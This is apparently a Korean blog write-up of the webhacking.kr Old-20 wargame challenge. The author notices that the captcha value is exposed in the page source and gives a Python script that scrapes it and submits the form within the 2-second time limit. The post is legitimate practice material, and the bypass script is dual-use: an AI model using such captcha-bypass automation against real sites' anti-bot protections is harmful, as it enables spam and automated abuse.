[Solved in under 5 minutes]
CRTO 따야 하는데... 왜 이렇게 하기가 싫지?
아니 정확히 말하면 너무 귀찮다 몸이 예전같지가 않다.
의욕이 다 죽은거 같다.
휴식이 필요한가 잘 모르겠다.
가보자.

오호 소스코드 부터 보자

<html>
<head>
<title>Challenge 20</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
input { background:silver; color:black; font-size:9pt; }
</style>
</head>
<body>
<center><font size=2>time limit : 2 second</font></center>
<form name=lv5frm method=post>
<table border=0>
<tr><td>nickname</td><td><input type=text name=id size=10 maxlength=10></td></tr>
<tr><td>comment</td><td><input type=text name=cmt size=50 maxlength=50></td></tr>
<tr><td>captcha</td><td><input type=text name=captcha><input type=button name=captcha_ value="wRtcUZ8AZj" style="border:0;background=lightgreen"></td></tr>
<tr><td><input type=button value=Submit onclick=ck()></td><td><input type=reset value=reset></td></tr>
</table>
<script>
function ck(){
if(lv5frm.id.value=="") { lv5frm.id.focus(); return; }
if(lv5frm.cmt.value=="") { lv5frm.cmt.focus(); return; }
if(lv5frm.captcha.value=="") { lv5frm.captcha.focus(); return; }
if(lv5frm.captcha.value!=lv5frm.captcha_.value) { lv5frm.captcha.focus(); return; }
lv5frm.submit();
}
</script>
</body>
</html>
소스코드를 보면 캡챠에 나오는 값이 그대로 노출된걸 확인했다.
그리고 2초 제한이 있는것으로 보아 2초안에 나오는 캡챠값을 적어서 전송해야 하는 문젠가?
여하튼 뭐든 해보자
염려해 두고 아무 값이나 넣어보자

역시나
2초 보다 늦었다고 뭐라한다.
기존에는 OCR 우회로 Tesseract와 같은 도구를 사용해야하나 생각했는데,
그것과 별개로 캡챠값이 노출된걸 보니 전혀 사용 할 필요가 없다.
그냥 GET 방식으로 접속하면 응답값으로 나올테니 그대로 갖고와 바로 POST로 쏘게 만들면 된다.
만든건 누가? GPT 형님이.
필자는 워게임 할때 AI를 절대 안쓰려고 노력하는데, 원리와 방식을 가지고 단순 코드를 짜는덴 사용한다.

import re
import time
import requests
from bs4 import BeautifulSoup
URL = "https://webhacking.kr/challenge/code-4/"
COOKIES = {
"PHPSESSID": "8ajigqphcr8kkae843p7dmfssu",
}
session = requests.Session()
session.headers.update({
"User-Agent": "Mozilla/5.0",
"Referer": URL,
})
session.cookies.update(COOKIES)
def get_captcha(html: str) -> str:
soup = BeautifulSoup(html, "html.parser")
tag = soup.find("input", {"name": "captcha_"})
if tag and tag.get("value"):
return tag["value"]
# fallback
m = re.search(r'name=["\']?captcha_["\']?\s+value=["\']([^"\']+)["\']', html)
if m:
return m.group(1)
raise RuntimeError("captcha 값을 찾지 못함")
def solve():
start = time.time()
# 1. 문제 페이지 요청
r = session.get(URL, timeout=3)
r.raise_for_status()
# 2. captcha value 파싱
captcha = get_captcha(r.text)
print("[+] captcha:", captcha)
# 3. 바로 제출
data = {
"id": "Ccr3t",
"cmt": "Ccr3t",
"captcha": captcha,
}
r2 = session.post(URL, data=data, timeout=3)
r2.raise_for_status()
elapsed = time.time() - start
print(f"[+] elapsed: {elapsed:.3f}s")
print("[+] status:", r2.status_code)
print(r2.text[:1000])
if __name__ == "__main__":
solve()
다시 한번 말하지만.
어떻게 해야할지 근본적인 원리를 파악하고 사용합시다.
머리도 깨져봐야 다음에 문제를 어떻게 풀어야 할 지 어떻게 접근해야 할지 눈이 떠집니다.
물론 나도 아직 한참 멀었지만요 ><
바로 돌려보자

야호~ 문제 풀렸다.
지금은 AI가 있어 이런 코드짜는건 정말 말이 안되게 편해졌다.
처음 해킹 시작할때는 구글링 오지게 해서 진짜로 코드 하나씩 만들고 문제 풀고 했는데.
그 때의 그 낭만의 시대.. 하.. 절대 돌아가고 싶지 않다.
너무 편해 미치겠다. 뭐 여하튼 코드는 읽을 줄 알고 씁시당
Webhacking.kr Old-20 Write-up Write-up
이상 보고 끝!